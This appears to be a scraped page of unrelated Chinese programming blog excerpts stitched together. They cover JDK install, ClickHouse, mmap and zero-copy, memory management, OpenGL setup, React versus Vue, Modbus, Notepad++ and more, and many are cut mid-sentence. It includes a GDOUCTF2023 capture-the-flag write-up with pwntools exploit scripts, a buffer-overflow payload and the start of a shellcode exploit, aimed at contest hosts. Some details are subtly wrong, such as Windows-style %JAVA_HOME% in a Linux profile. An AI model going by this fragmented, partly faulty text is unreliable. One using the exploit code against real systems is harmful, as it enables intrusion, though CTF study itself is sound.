卸载系统自带的jdk 找到具体的jdk 1。 rpm -qa | grep jdk 2。 rpm -e --nodeps + jdk名字表示强制删除该jdk 3.验证是否删除成功 java -version 创建一个文件夹用于存放java的压缩包 一般放在 /usr/local 下 cd 到该目录 ls 查看目录下的文件 mkdir java 创建java文件夹 ls 查看目录下的文件 5、安装jdk jdk-8u221-linux-x64.tar.gz 指令 tar -zxvf jdk-8u221-linux-x64.tar.gz 表示解压我对应的jdk版本 6、配置环境变量 输入指令 vi /etc/profile 打开配置文件 JAVA_HOME=/usr/local/java/jdk1.8.0_221 CLASSPATH=%JAVA_HOME%/lib:%JAVA_HOME%/jre/lib PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin export PATH CLASSPATH JAVA_HOME 7、让配置生效 输入指令source /etc/profile即可 8、验证是否配置成功

GDOUCTF2023 Writeup

序 比赛的时候踩大坑了 & 还得多学啊 & 被带飞了 PWN EASY PWN 能往 s1 写入任意长 payload,覆盖下面的 v5 为一个非零的数就有 flag。 exp 如下: from pwn import * #p = process('./easypwn') p = remote('node5.anna.nssctf.cn',28206) context.log_level = 'debug' def breakpoint(): gdb.attach(p) pause() #sh=remote('node4.buuoj.cn',26013) payload = 'a'*(0x1f - 4 + 1) #breakpoint() p.sendline(payload) p.interactive() Shellcode 写进一段 shellcode 后跳去执行。 exp 如下: from pwn import* #p = process('./pwn') p = remote('node6.anna.nssctf.cn',28557) context.log_level = 'debug' context.arch = 'amd64' def breakpoint(): gdb.

Python数据开发实战-连接clickhouse读取数据返回dataframe格式(附源码和实现效果)

实现功能 Python数据开发实战-连接clickhouse的两种方式 实现代码 # 方法一:基于clickhouse_connect import clickhouse_connect client = clickhouse_connect.get_client(host="你的服务器地址", port='你的port', database='你的db',user="你的用户名" ,password="你的password") sql = 'select * from data_mgmt.gha_activity_2023_02' #res = client.command(sql) res = client.query(sql) print(res.result_set) # 方法二:基于sqlalchemy from sqlalchemy import create_engine import pandas as pd from clickhouse_sqlalchemy import make_session conf = { "server_host": '你的服务器地址', "port": '输入你的port', "user": '你的用户名', "password": '输入你的password', "db": '输入你的db' } connection = 'clickhouse://{user}:{password}@{server_host}:{port}/{db}'.format(**conf) engine = create_engine(connection) sql = 'select * from data_mgmt.gha_activity_2023_02' # 2.1 df=pd.read_sql_query(sql,engine) # 2.

2467. 树上最大得分和路径

class Solution { public: int second[100005];//bob访问节点的second[i]的时间 vector<int>node[100005]; bool dfs(int st,int fa,int end,int time) { second[st]=time; if(st==end) { return true; } for(int i=0;i<node[st].size();i++) { int y=node[st][i]; if(y!=fa && dfs(y,st,end,time+1)) { return true; } } second[st]=-1; return false; } int dfsValue(int st,int fa,int time,vector<int>& amount) { int value=0; if(second[st]<time&&second[st]!=-1) { value=0; } else if(second[st]==time) { value=amount[st]/2; } else { value=amount[st]; } int sum=-1e9-5; for(int i=0;i<node[st].size();i++) { int y=node[st][i]; if(y!=fa ) { sum=max(sum,dfsValue(y,st,time+1,amount)); } } if(sum==-1e9-5) sum=0; return value+sum; } int mostProfitablePath(vector<vector<int>>& edges, int bob, vector<int>& amount) { memset(second,-1,sizeof(second)); for(int i=0;i<edges.

java导出生成word文档并进行下载的方法

前端html内容展示 <div class="col-md-1 col_top_daochu"> 导出内容并进行下载 </div> 前端js内容展示 <script type="text/javascript" src="${pageContext.request.contextPath }/statics/jquery-1.9.0.min.js"></script> <script type="text/javascript" src="${pageContext.request.contextPath }/statics/frame/layui/layui.all.js"></script> //导出合同 $(document).on("click",".col_top_daochu",function(){ //获取当前词目列的ID var headwordId = $(".col_color_zhong").attr("buttonchi"); //导出合同数据 $.ajax({ type:"post", url:'${pageContext.request.contextPath }/headword/newfiles.json', data:{headwordId:headwordId}, dataType:"json", success:function(res){ if(res.code==6) { /* layer.msg('默认导出到桌面成功',{icon:6,time:1000},function(){ //刷新本页面 location.reload(); }); */ //导出文档流程思路:应该是先导出到服务器内部,然后再通过访问链接的形式下载导出的文档 layer.confirm('导出成功,是否下载?', { btn: ['下载', '取消'] //可以无限个按钮 }, function(index, layero){ //res.fileUrl路径 window.location.href="http://localhost:8080"+res.fileUrl; //点击按钮下载服务器内的文本 // window.location.href="域名"+res.fileUrl; //关闭弹出框 layer.close(index); }, function(index){ //取消按钮 }); } else if(res.code==5){ layer.msg('导出失败',{icon:5,time:1000},function(){ //刷新本页面 location.reload(); }); } }, error:function(){ layer.

ElasticSearch常用查询操作

ES查询 一般我们使用ES最多的就是查询,今天就讲一下ES的查询。这里我是建了一个person的索引。 "person" : { "aliases" : { }, "mappings" : { "properties" : { "address" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "age" : { "type" : "long" }, "name" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } } } } 基本查询操作 1.查询所有数据并进行排序 GET person/_search { "

24 谈谈内存映射文件mmap

mmap技术是一种将文件或其他对象映射到进程虚拟内存中的方法(这个虚拟内存可以是指定的,也可以由操作系统自动选择),可以实现零拷贝和共享内存的效果。 为什么要有mmap 传统的修改一个文件的内容,一般需要如下三个步骤: 通过read系统调用,操作系统由用户态切换到内核态,将文件数据由磁盘控制器缓冲区读到PageCache中,然后再将PageCache中的数据拷贝到用户缓冲区中。对用户缓冲区中的数据进行修改操作。通过write系统调用,将用户缓冲区中数据拷贝到PageCache中,再将PageCache中的数据写回外存。 mmap实现原理 那么我们发现,如果可以实现直接在用户空间读写PageCache中过的内容,就减少了一次拷贝。 mmap刚好可以实现这件事。 mmap 系统调用可以将用户空间的虚拟内存地址与文件进行映射,进行绑定。绑定以后,对映射后的虚拟内存地址进行读写操作就如同对文件进行读写操作一样。 注:有的时候虽然已经建立了映射关系,但是还没有将文件移到内存中,当访问还没有调入PageCache中的页面的时候,由此会发生缺页中断,内核请求从磁盘调入页面。之后如果写操作改变了页面内容,一段时间后,系统会自动写回脏页面到磁盘中。(也可以调用msync来强制同步,写入文件) 何时将PageCache中的数据写回 前面我们介绍过,读写文件都需要通过PageCache,那么何时将PageCache中的数据写回呢? 调用msync函数进行数据同步。(主动)调用munmap进行解除映射关系式。(主动)进程退出时。(被动)系统关机时。(被动) mmap的主要优点和缺点 mmap的主要优点 文件映射到PageCache中,访问的时候不再需要系统调用,效率高。可以由多个进程共享同一映射文件,便于实现进程间通信。文件被映射到了内存,便于使用个内存访问的randomly 访问内存任意位置的数据,而不需要书怒读取文件,提升了效率。 mmap的缺点 文件必须是可被mmap的,不能是compress或者encode过的文件。文件会occupy物理内存,可以导致其他程序的内存不足。内存映射中的文件如果文件内容发生变化,不会自动写回数据。需要调用msync进行数据同步或者调用munmap进行解除映射关系。

Pandas 常用按照查询条件筛选数据

文章目录 一、 筛选指定的列二、 按照条件筛选2.1 单条件筛选2.2 多条件组合筛选 创建一个DataFrame import pandas as pd data = {'name':['张三', '李四', '王五', '赵六'],'age':[20, 21, 22, 23], 'gender': [0, 1, 1, 1], 'stature': [165, 189, 178, 160], 'year': [2000, 2002, 2003, 1993]} df = pd.DataFrame(data) print (df) 运行结果如下: name age gender stature year 0 张三 20 0 165 2000 1 李四 21 1 189 2002 2 王五 22 1 178 2003 3 赵六 23 1 160 1993 常用的筛选方法:

Servlet-搭建个人博客系统(MVC架构模式简介,maven的配置和使用)

目录 1. MVC架构模式简介 2. maven的配置和使用 3. 项目总述🐻 3.1 🍎Controller层 3.2 🍎Model层 3.3 🍎View层 4. 页面的主要功能实现🐻 4.1 🍎登陆页面(login.html) 4.2 🍎博客列表页面(blog_index.html) 4.3 🍎博客详情页面(blog_detail.html) 4.4 🍎博客编辑页(blog_editor.html) 5.Contorller层(控制层)🐻 5.1 🍎UserServlet 5.2 🍎UserRemLoginServlet 5.3 🍎UserLoginOutServlet 5.4 🍎LoadAuthorInfoServlet 5.5 🍎BlogServlet 5.6 🍎BlogDeleteServlet 6. Model层(模型层)🐻 6.1 🍎Bean对象 📕Userbean 📕BlogBean 6.2 🍎BlogDao类 6.3 🍎UserDao类 6.4 🍎JDBC工具类 7. View层(视图层源码)🐻 7.1 🍎公共样式文件 7.1 🍎登陆页面login的实现 7.2 🍎博客列表页blog_index的实现 7.3 🍎博客详情页blog_detail的实现 7.4 🍎博客编辑页面blog_editor的实现 8. 配置文件🐻 8.1 🍎maven配置文件 1. MVC架构模式简介 MVC是 Model、View、和Controller的缩写,是软件工程中的一种架构模式,把软件系统分为模型、视图、控制器三部分。这三部分的作用如下: Model(模型)

HBase架构篇 - Hadoop家族的天之骄子HBase

HBase的基本组成结构 表(table) HBase 的数据存储在表中。表名是一个字符串。表由行和列组成。 行(row) HBase 的行由行键(rowkey)和 n 个列(column)组成。行键没有数据类型,可以看作是字节数组,类似于关系型数据库的主键索引,在整个 HBase 表中是唯一的,按照字母顺序排序。 列族(column family) HBase 的列族由多个列组成,相当于将列进行分组。列的数量没有限制。表中的每一行都有同样的列族。列族必须在表创建的时候指定,不能轻易修改,并且数量不能太多,一般不超过 3 个。列族名的类型是字符串。 列限定符(qualifier) 列限定符用于代表 HBase 表中列的名称,列族中的数据通过列限定符来定位,常见的定位格式为 “family:qualifier”(比如定位列族 cf1 的列 name,则使用 cf1:name)。一个列族下面可以有多个列限定符。列限定符没有数据类型,可以看作是字节数组。 单元格(cell) 单元格通过行键、列族、列限定符一起来定位。单元格包括值和时间戳。值没有数据类型,总是视为字节数组。时间戳代表该值的版本,类型为 long。默认,时间戳表示数据写入服务器的时间,但是当数据放入单元格时,也可以指定不同的时间戳。每个单元格都根据时间戳保存着同一份数据的多个版本,并且按照降序排列,即最新的数据排在前面。对单元格中的数据进行访问的时候会默认读取最新值。 { "00001": { // 行键 "info": { // 列族 "username": { // 列限定符 "15335401223674": "zhangsan" // 时间戳:列值 }, "password": { ----- "1533540265719": "hello", | "1533540102020": "123" | --> 单元格 } ----- } } } HBase的架构设计 HMaster HMaster 节点可以有多个。通过 ZooKeeper 的选举机制保证同一时刻只有一个 HMaster 节点处于活动状态,其它 HMaster 节点处于备用状态。

23 DMA与零拷贝技术

磁盘可以说是计算机系统中最慢的硬件之一,读写速度相差内存10倍以上,所以针对优化磁盘的技术非常的多,比如:零拷贝,直接I/O,异步I/O等等。 这里我们就以文件传输为切入点,分析I/O工作方式,以及如何优化文件传输的性能。 为什么要有DMA技术 DMA技术,全称为Direct Memory Access(又称直接内存访问技术)。 没有DMA技术前的I/O过程 可以看到整个数据传输的过程: 首先在用户进程进行read()系统调用的时候,操作系统会由用户态切换到内核态,然后由CPU向磁盘发起IO请求。磁盘在接收到IO请求以后,进行数据准备工作,将数据放在磁盘控制器缓冲区里。在数据准备工作完成以后,磁盘向CPU发出IO中断信号。CPU收到中断信号后,会先将磁盘缓冲区中的文件copy到PageCache中,再将数据从PageCache中copy到用户缓冲区中。在这期间CPU是无法执行其他任务的。copy完成之后read()调用返回,操作系统刚从内核态切换回用户态。 故可以得知:在数据传输的过程,需要CPU亲自的去拷贝数据,并且在这期间CPU无法去做其他事情。简单的搬运几个字符没有问题,但是当处理大量数据的时候,如果每次都让CPU来搬运,显然忙不过来。 有DMA技术之后的I/O过程 当有了DMA控制器以后,在进程向CPU发出read()调用以后,CPU向DMA控制器发起IO请求,然后DMA控制器再向磁盘发出IO请求。 当磁盘接收到IO请求以后,会进行数据准备工作,将数据放到磁盘数据缓冲区当中。 当磁盘的数据准备工作完成以后,不再向CPU发出中断信号,而是通知DMA控制器。 DMA控制器在接收到通知以后,将数据从磁盘控制器缓冲区中copy到内核缓冲区中。在这期间并不占用CPU,CPU可以处理其他的事情,执行其他的任务。 DMA控制器处理完之后向CPU发出中断信号,由CPU将数据从内核缓冲区copy至用户缓冲区中。copy完成之后read()调用返回,操作系统从内核态切换回用户态。 注意:起初的DMA控制器只在主板上,但是现在IO设备越来越多,数据传输的需求也不尽相同,所以现在每个IO设备中都有DMA控制器。 在进行read调用的时候,操作系统由用户态转为内核态,需要进行DMA拷贝和CPU拷贝各一次。(DMA拷贝是指由DMA控制器将磁盘控制器缓冲区中的数据拷贝到内核缓冲区中,CPU拷贝是指将数据从内核缓冲区中copy到用户缓冲区中),在read调用结束以后,操作系统再从内核态切换回用户态。 在进行write调用的时候,操作系统由用户态转为内核态,需要进行CPU拷贝和DMA拷贝各一次。(CPU拷贝是指将用户缓冲区的数据拷贝到socket缓冲区中。而DMA拷贝是指将socket缓冲区中的数据拷贝到网卡中。) 在文件传输场景下,我们无需在用户空间对数据进行再加工。因此用户缓冲区的存在是没有必要的。 如何实现零拷贝 实现零拷贝的技术主要有两种:mmap+write,sendfile 下面就谈一谈,他们是如何减少上下文切换和数据拷贝的次数的。 mmap+write 利用mmap替换read系统调用函数。 mmap系统调用函数会直接将内核缓冲区的数据映射到用户空间,这样操作系统内核与用户空间之间就不需要任何的拷贝操作。 具体流程如下: 应用进程调用了mmap系统调用函数之后,DMA会把磁盘缓冲区的数据拷贝到内核缓冲区中。接着,应用进程和操作系统内核共享这个缓冲区。 应用进程再调用write函数,操作系统直接将内核缓冲区的数据拷贝到socket缓冲区。再由DMA控制器copy到网卡。 这还不是最理想的零拷贝因为还是需要两次系统调用,四次上下文切换,3次拷贝。 sendfile 在linux内核版本2.1中,提供了一个新的系统调用函数sendfile。这个系统调用函数可以代替read和write两个系统调用函数。 这样系统调用的次数就变成了一次,上下文切换的次数减小到了两次,数据拷贝次数为3次。 这还不是真正的零拷贝技术: 如果网卡支持SG—DMA,就可以将数据拷贝次数减小为两次。 这就是所谓的零拷贝技术,我们没有在内存层面区拷贝数据,也就是说全过程都没有使用CPU搬运数据,所有数据都是通过DMA进行传输的。 整个过程只需要两次上下文的切换和两次数据拷贝。 kafka、rocketMQ、Nginx都使用到了零拷贝技术。 PageCache 零拷贝的内核缓冲区正是使用了PageCache技术。在零拷贝技术中,用PageCache来缓存最近被访问过的数据,当空间不足时淘汰最久未使用的缓存。 并且给予局部性原理,进行预读,减少IO次数。 但是在传输大文件的时候,性能损失非常大。因为在传输大文件的时候如果采用PageCache,PageCache容量有限,则PageCache由于长时间被大文件占据,其他热点的小文件可能就无法充分使用到。这样磁盘的读写性能就会降低。并且PageCache中的大文件数据,由于没有享受到缓存带来的好处,但却耗费 DMA 多拷贝到 PageCache 一次,造成资源的浪费。 因此PageCache 被大文件占据,而导致「热点」小文件无法利用到 PageCache,这样在高并发的环境下,会带来严重的性能问题。 大文件传输采用什么实现 在最初的方案中: 调用read方法的时候,操作系统会由用户态切换为内核态。然后内核向磁盘发起IO请求,磁盘收到IO请求以后,会将数据放在磁盘控制器缓冲区中。磁盘完成该操作以后,向内核发起中断信号,然后内核将磁盘控制器缓冲区中的信号拷贝到PageCache中。然后内核再将PageCache中的数据拷贝到用户缓冲区中。完成以后,read调用返回。操作系统由内核态窃魂会用户态。 在read方法返回前,进程一直处于阻塞的状态。 针对阻塞的问题,可以采用异步IO来解决。 异步IO的流程图如下所示: 核心思想在于:在发起异步IO读以后,不等待数据就位就可以立即返回,然后去处理其他任务。直到收到内核返回的读取成功通知,才去处理数据。这样就解决了高并发场景下零拷贝技术大文件读取的阻塞问题。 因此,对于传输大文件,应该使用异步IO+直接IO的方法。而对于小文件,则应该使用零拷贝。

22 操作系统之内存管理

内存是什么–内存相关的基础知识补充 内存由很多小的存储单元组成,每个存储单元对应一个内存地址。 按字节编址和按字编址 如果计算机按字节编址,则一个内存地址对应的存储单元存储一个字节。 如果计算机的字长是32位,则每个内存地址对应的存储单元存储一个字,每个字的大小为32个二进制位。 什么是指令 指令是由操作码和若干参数组成的。 写程序到运行的过程 写源代码文件编译(源代码文件经过编译得到目标模块,目标模块是一系列由机器语言表示的指令集合,每个目标模块都会有独自的逻辑地址空间)链接(链接程序可以将编译得到的一组目标模块进行链接,这一组目标模块经过链接程序的链接可以得到一个完整的装入模块,也叫可执行文件。这个装入模块拥有一组完整的逻辑地址。)装入:完成逻辑地址到物理地址的转换,并由装入程序将装入模块装入内存运行。 装入的三种方式 装入模块在进行装入的时候,有三种方式:绝对装入,静态重定位,动态重定位。 绝对装入;在编译时,直接将逻辑地址转化为绝对地址。在装入的时候,装入程序直接按照装入模块中的绝对地址 进行装入。 静态重定位:又称可重定位式装入。它是在装入的时候才进行逻辑地址和绝对地址之间的转化。静态重定位有一个缺陷,在一个作业进行装入的时候必须为其分配全部的内存空间,否则无法装入。 动态重定位:又称动态运行时装入。它解决了静态重定位的缺陷,只有在程序需要执行的时候才进行装入,并且允许程序在内存中发生移动,这种方式需要一个重定位寄存器的支持。 链接的三种方式 链接的三种方式:静态链接、装入式动态链接、运行时动态链接。 静态链接:在装入前就链接好。 装入时动态链接:在装入的时候,边装入边链接。 运行时动态链接:在程序执行到这个模块的时候,再进行链接。 存储保护 方式1:通过上下限寄存器,进行判断。通过这两个寄存器就可以判断是否越界,然后决定是否允许访问。 方式2:通过重定位寄存器和界地址寄存器。重定位寄存器存储的是存储单元的起始地址,界地址寄存器存储的是最大逻辑地址。通过这两个寄存器就可以判断是否越界,然后决定是否允许访问。 内存管理 内存管理主要包含四个模块:内存的分配和回收、内存空间的扩充(覆盖、交换、虚拟存储技术)、地址转换、存储保护。 内存空间的扩充 在本节主要讲解虚拟内存以外的其他技术,虚拟内存技术将会另起一个章节进行讲解。 覆盖技术和交换技术 覆盖技术 覆盖技术:将程序分为多个段。常用的段常驻内存,不常用的段在需要时调入内存。 常驻内存的段放在固定区,不常用的段放在覆盖区,需要用到时调入内存,不需要的时候换出外存。 运用覆盖技术的话,覆盖结构必须由程序员声明,并且对用户不透明,增加了编程负担。 交换技术 内存空间紧张的时候将程序中的某些进程暂时换出外存,把外存中某些具备运行条件的进程换入内存。 中级调度就是在将某个处于挂起态的进程调入内存。因此中级调度又叫内存调度。 处于就绪状态和阻塞状态的进程都有可能被挂起。当被激活,就会解除挂起状态。 内存空间的分配–连续分配管理方式 内存空间的分配方式,可以分为连续分配和非连续分配管理方式两种。 连续分配管理方式:单一连续分配,固定分区分配,动态分区分配。 单一连续分配 在单一连续分配方式中,内存被分为系统区和用户区。 缺陷: 内存中只能有一道用户程序,用户程序独占整个用户区。存储利用率低。有内部碎片。只能用于单用户单任务的操作系统中。 优点: 实现简单,无外部碎片。可以采用覆盖技术扩充内存。不一定需要内存保护。 固定分区分配 将用户空间划分成若干个固定大小的分区,每个分区中装入一个作业。无外部碎片有内部碎片。 动态分区分配 动态分区分配又称可变分区分配,不会虚线划分内存分区,而是在装入进程的时候,根据进程的大小动态的建立分区,使分区的大小刚好适合进程的需要。 因此系统分区的数目和大小是可变的。 动态分区分配没有内部碎片但是有外部碎片。 动态分区分配算法 常见的四种动态分区分配算法:首次适应算法,最佳适应算法,最坏适应算法,临近适应算法。 首次适应算法 空闲分区以地址递增的方式进行排列,从头到尾寻找合适的分区。 优点:综合看性能最好,算法开销小,回收分区后不需要对空闲分区队列进行重新排序。 最佳适应算法 优先使用空间更小的分区。 空闲分区以容量递增的方式进行排列。 优点:会有很多大分区被保留下来,更能满足大进程的需求。 缺点:会产生很对太小的,难以利用的碎片。并且算法的开销比较大,因为在回收分区后,需要对分区重新排序。 最坏适应算法 优先使用更大的分区。 空闲分区以容量递减的顺序进行排列。 优点:可以防止产生小的,不可用的碎片。 缺点:虽然解决了最佳适应算法的缺点,但是无法保留大分区,对大进程并不友好。 临近适应算法 最坏适应算法其实是由首次适应算法演变过来的,每次从上次查找结束的位置开始查询。 空闲分区以地址递增的方式进行排序,并组成一个循环链表。

信捷PLC 批量传送位 MOV DMOV QMOV

信捷PLC有没有类似三菱PLC那要的批量传送多位的指令呢,有的,如下图所示。 MOV DX0 D0 传送X0~X17 共16个点到D0.0~D0.15 DMOV DX0 D10 传送X0~X37 共32个点到D10.0~D11.15 QMOV DX0 D20 传送X0~X77 共64个点到D10.0~D13.15 MOV D30 DY0 传送D30.0~D30.15 共16个点 到Y0~Y17 DMOV D30 DY0 传送D30.0~D31.15 共32个点 到Y0~Y37 QMOV D30 DY0 传送D30.0~D33.15 共64个点 到Y0~Y77

彻底了解var、let、const变量的区别

文章目录 一、var1.声明作用域2.声明提升 二、let1.声明作用域2.重复声明3.变量提升4.全局声明5.for循环中声明 三、const结尾: 一、var 1.声明作用域 使用var定义的变量会成为包含它的函数的局部变量 function foo(){ var msg = 'helloword' //局部变量 } foo() console.log(msg) //报错未定义 test is not defined 这里,msg变量是在函数内部使用var定义的。调用函数foo会创建这个变量并给它赋值。调用之后变量msg就被销毁了,所以最后打印会报错。 如果需要定义多个变量,可以在一条语句中用逗号分隔每个变量。 var name = 'uzi', age = '22', team = 'rng' console.log(name, age, team); 结果 在严格模式下,不能定义eval和arguments的变量,否则会导致语法报错。 2.声明提升 先看代码 function foo(){ console.log(name) //undefined var name = 'Jay' } foo() 为什么是undefined而不是报错。因为ES运行时把它看成下面的等价代码 function foo(){ var name console.log(name) //undefined name = 'Jay' } foo() 这就是所谓的变量提升,使用var关键字声明的变量会自动提升到函数作用域顶部。 此外一次性反复多次使用var声明同一个变量也是可以的。 function foo() { var name = 'Jay' var name = 'Eason' var name = 'Beyond' console.

idea项目debug模式非常慢

场景 idea项目debug启动非常慢,项目也不大,重要的是在别人的机器上启动很快,那么一定是自己的问题了。 解决方案 1、没用的断点都去掉。 idea左下角有个双箭头>>,点view breakpoints,去掉所有的断点。 这招应该有效的,但是启动还是慢。 2、file | invalid catches,都清理掉。 实测还是慢。 3、到文件夹下,删掉项目下的.idea文件夹和.iml文件夹。 这样索引和配置都会丢失,如果有vm参数等,需要配置下。 实测问题解决,但是打开后第一次还是慢,过了几分钟再启动就快了,不知道为什么。 4、终极方案,直接换文件夹,重新git clone代码,再打开。

Visual Studio配置OpenGL

近期工作中需要用到OpenGL,而之前一直是用Opencv工作,这就需要在VS上配置OpenGL。因为是首次在VS上配置OpenGL,以备自己和有需要的小伙伴不时之需。我的VS是2022版的,但配置流程各版本应该都是一样的。 根据百度百科的解释,OpenGL(英语:Open Graphics Library,译名:开放图形库或者“开放式图形库”)是用于渲染2D、3D矢量图形的跨语言、跨平台的应用程序编程接口(API)。这个接口由近350个不同的函数调用组成,用来绘制从简单的图形比特到复杂的三维景象。而另一种程序接口系统是仅用于Microsoft Windows上的Direct3D。OpenGL常用于CAD、虚拟现实、科学可视化程序和电子游戏开发。 这里主要介绍GLUT,GLFW和GLAD的配置,GLUT,GLFW和GLAD都是OpenGL的第三方库。 GLUT配置 首先是GLUT的配置,本来是打算在在官网下载的,但是官网显示建议使用freeGLUT,所以只好在别处下载,以下的链接是从其他博客获得的,可正常下载gult库。或者从在网上搜索一下有关GLUT库的下载,网上资源很多。 https://www.52txr.cn/go/aHR0cHM6Ly93d3cub3BlbmdsLm9yZy9yZXNvdXJjZXMvbGlicmFyaWVzL2dsdXQvZ2x1dGRsbHMzN2JldGEuemlw 文件下载并解压好后会得到以下五个文件: 将glut.h文件放到自己的VS目标目录中,路径为:VS\VC\Tools\MSVC\14.34.31933\include\gl 中,VS为自己的Visual Studio安装文件夹,其中gl文件夹自行创建。 glut.lib和gult32.lib文件的目标路径为 VS\VC\Tools\MSVC\14.34.31933\lib\x86. 最后把glut.dll和glut32.dll放到系统文件夹,如果电脑是64位则路径为:C:\Windows\SysWOW64 如果电脑系统是32位则路径为:C:\Windows\System32 安装nupengl: 这里要注意的是,每创建一个glut项目都要重新安装nupengl。 首先打开VS,创建一个控制台应用,项目语言要选中C++。 在项目里选择管理NuGet程序包。 然后搜索nupengl并进行安装。 到此GULT的安装便完成了。 GLFW配置 GLFW下载链接为: https://www.glfw.org/download.html 根据电脑系统下载相应版本: 解压后得到名为glfw-3.3.8.bin.WIN64的文件夹(以64位版本为例),将路径 glfw-3.3.8.bin.WIN64\include\GLFW 中的glfw3.h文件(如下图)放到 目标路径:VS\VC\Tools\MSVC\14.34.31933\include\GLFW下,GLFW文件夹自行创建。 然后将路径 glfw-3.3.8.bin.WIN64\lib-vc2022中的glfw3.dll, glfw3_mt.lib, glfw3.dll文件放到路径 VS\VC\Tools\MSVC\14.34.31933\lib\x86 下。 然后将glfw3.dll放到 C:\Windows\SysWOW64。 到此GLFW的安装便完成了。 GLAD配置 glad官网地址为: https://glad.dav1d.de/ 进入官网后安装以下选项选择: 然后点击Generate然后下载zip文件。 将glad\include中的两个文件夹复制到目标路径 VS\VC\Tools\MSVC\14.34.31933\include中去。(VS为自己的visual studio安装文件夹)。至于glad\src中的glad.c文件,不需要放置到任何的位置 ,如果VS项目中需要用GLAD,把glad.c复制到源文件目录下即可。

在React中使用setState修改数组的值时,为什么不能使用数组的可变方法(push、unshift等)? 但在vue中可以

一、为什么React中修改数组时不能使用数组的可变方法 在React中使用setState修改数组的值时,不推荐使用数组的可变方法(如push、unshift等)。这是因为React会对比新旧状态,在发现状态变化后,更新组件的渲染。但当你调用可变方法修改数组时,虽然数组已经被改变,但数组的地址并没有发生变化,React并不会察觉到这个变化,也就不会更新组件。 相反,应该遵循以下原则来正确地进行数组操作: 创建一个新数组,将新值推入其中 将新数组传递给setState来更新组件 以下代码演示了如何在React中创建新数组并更新状态: this.setState(prevState => ({ myArray: [...prevState.myArray, newValue] })); 以上代码中,我们使用扩展运算符...来创建一个新数组,并将原有数组中所有元素放入其中(即展开),再将新的值推入新数组中。最后,我们将新数组作为参数传递给setState函数。由于我们返回的是一个新对象,而不是直接引用旧对象,所以React能够正确地检测到状态变化并更新组件。 同样的,如果要从数组中删除元素,也应该创建一个新数组并将元素排除在外,如下所示: this.setState(prevState => ({ myArray: prevState.myArray.filter(element => element !== valueToRemove) })); 在上面的代码片段中,我们使用Array.filter()方法从原数组中过滤掉要移除的元素,并返回一个新数组。最后,我们将这个新数组传递给setState,以更新组件状态。 二、Vue中为什么可以直接用数组可变方法来修改数组 相反的,在vue中直接使用数组可变方法(push, unshift等)改变data中的数组,是因为vue使用了响应式系统来实现数据的双向绑定。 当一个组件中的数据对象被包装成响应式对象后,vue会追踪这个对象,并自动在其属性被访问和修改时发出通知。这就使得 vue 能够在组件更新之后,检测到需要重新渲染的地方,从而做到数据与视图的联动。 对于数组,vue同样对它进行了包装,即定义了一系列能够触发视图更新的 array mutation method(变异方法),如push, pop, shift, unshift等。这些变异方法是通过重写数组原型上的方法来实现的,当触发这些方法时,同时也会触发vue的通知机制,从而更新视图。 因此,在vue中我们可以放心地直接使用push、unshift等可变方法来改变数组而不必担心视图不会更新。

【Linux/C++:modebus通信示例】(带初习配置概括)

以modbus RTU为例,模拟modbus简单通信原理的代码实现 首先需要配置串口。 这里使用的为Configure Virtual Serial Port Driver虚拟串口调试工具 创建COM1,COM2虚拟端口,或另创建一对串口互作收发信号端。 创建完成后虚拟工具COM后会有已启动端口的状态,这里我们以波特率9600 8N1为基准进行设定。 接着,我对modbus slave开始设定,这里用slave而不用poll,我们后面会用虚拟机做主机,而slave为从机服务器。一般slave使用COM2端口 简单模拟,就以03保存寄存器和01线圈为例。 按规格设定好后,进入linux ubuntu,进行串口配置,在开机之前,需先添加串口。 后选择COM1端口,一般约定主机COM1连接。要在VMware上面菜单中找到对应的串口组件并点击连接。 //P.S.modbus TCP设定是网络设定,检验连接可用wireshark抓包检测连通,一般slave使用502端口,假如使用虚拟机与PC做连通测试,要注意填写ip为相应虚拟机或PC的ip,而127.0.0.1本地回环测试的本质是本机回环,虚拟机也是独立的。 接着我们进入linux,下载minicom模块。 终端输入: sudo apt-get install minicom 当连接上虚拟串口后,在终端输入dmesg | grep tty,可以查看到对应的设备文件,其中默认的会有ttyS0文件,剩下的就是虚拟串口对应的设备文件。 虚拟机在终端执行sudo minicom -s 主要使用setup进行波特率等属性设置,并记得保存。 配置完成,可先使用 UartAssist串口调试工具通信测试。 调试助手关闭时尽量选关闭而不是最小化,不然频繁使用造成打开一堆在后台,占用资源 接着就可以进行真正的通信了。 这里是基于C++的通信,故要使用对应的类库 基类.h #include <stdint.h> //uint class AbsPoll { protected: //从机地址 int sid; //打开文件需要打文件描述符 int fd; public: AbsPoll(); ~AbsPoll(); //从C++相应库modbus相关类函数里找到需要的函数 int setSlave(int id); //初始id //以下多个纯虚函数,代表这是抽象类,之后派生类使用,不能直接创建对象,所以函数定义写在派生类 virtual int Connect() = 0; //连接,打开文件 virtual int writeData(uint8_t *data, int len) = 0; //写数据(发送 virtual int readData(uint8_t *data, int len) = 0; //读数据(接受 virtual int buildRequest(int func, int addr, int nb, uint8_t *req) = 0; //封装请求码 int read_registers(int addr, int nb, uint16_t *dest); //读寄存器数据并存放于指定数组 int write_bit(int addr, int status); //如05写线圈状态时可以写一种 }; 基类.

Nopepad++使用教程

Contents 1 介绍2 下载&安装3 Notepad++配置(Python) 3.1 配置制表符3.2 自动完成3.3 配置调试工具4 添加辅助插件5 PythonScript(控制台插件) 5.1 日常使用5.2 多视图模式5.3 显示符号5.4 快捷键大全6 参考链接 介绍 Notepad++是一个免费的代码编辑器,支持多种语言。在Windows环境下运行,其使用受GPL协议(一种开源软件协议)的约束。基于Scintilla这个强大的编辑器组件,Notepad ++是用C ++编写的,它使用纯Win32 API和STL,所以可确保更高的执行速度和更小的程序大小,它的启动和运行速度比VS快多了。截止到目前,其最新版本是7.5.9。特点:开源、免费、轻便、快!!! 下载&安装 谷歌Notepad++,弹出的第一个网页往往就是官网地址,点进去找到下载页面即可。或者输入以下网址:选择相应版本下载,我这里给出的是 7.5.9 的最新版本(64位的),exe 安装格式,也可选择压缩包下载。 1. 下载好后,双击文件即可安装。 2. 选择安装语言,默认中文即可; 3. 点击下一步继续; 4. 接受许可协议,下一步; 5. 选择安装路径,默认即可,我这里更改到了D盘下; 6. 选择安装组件,默认即可; 7. 选择组件,只勾选最后一个选项,创建桌面快捷方式,然后点击安装; 8. 等待几秒钟即可安装完成。 总结:其实也不用看这么多繁琐的步骤,下载好程序后,双击一直默认安装即可。 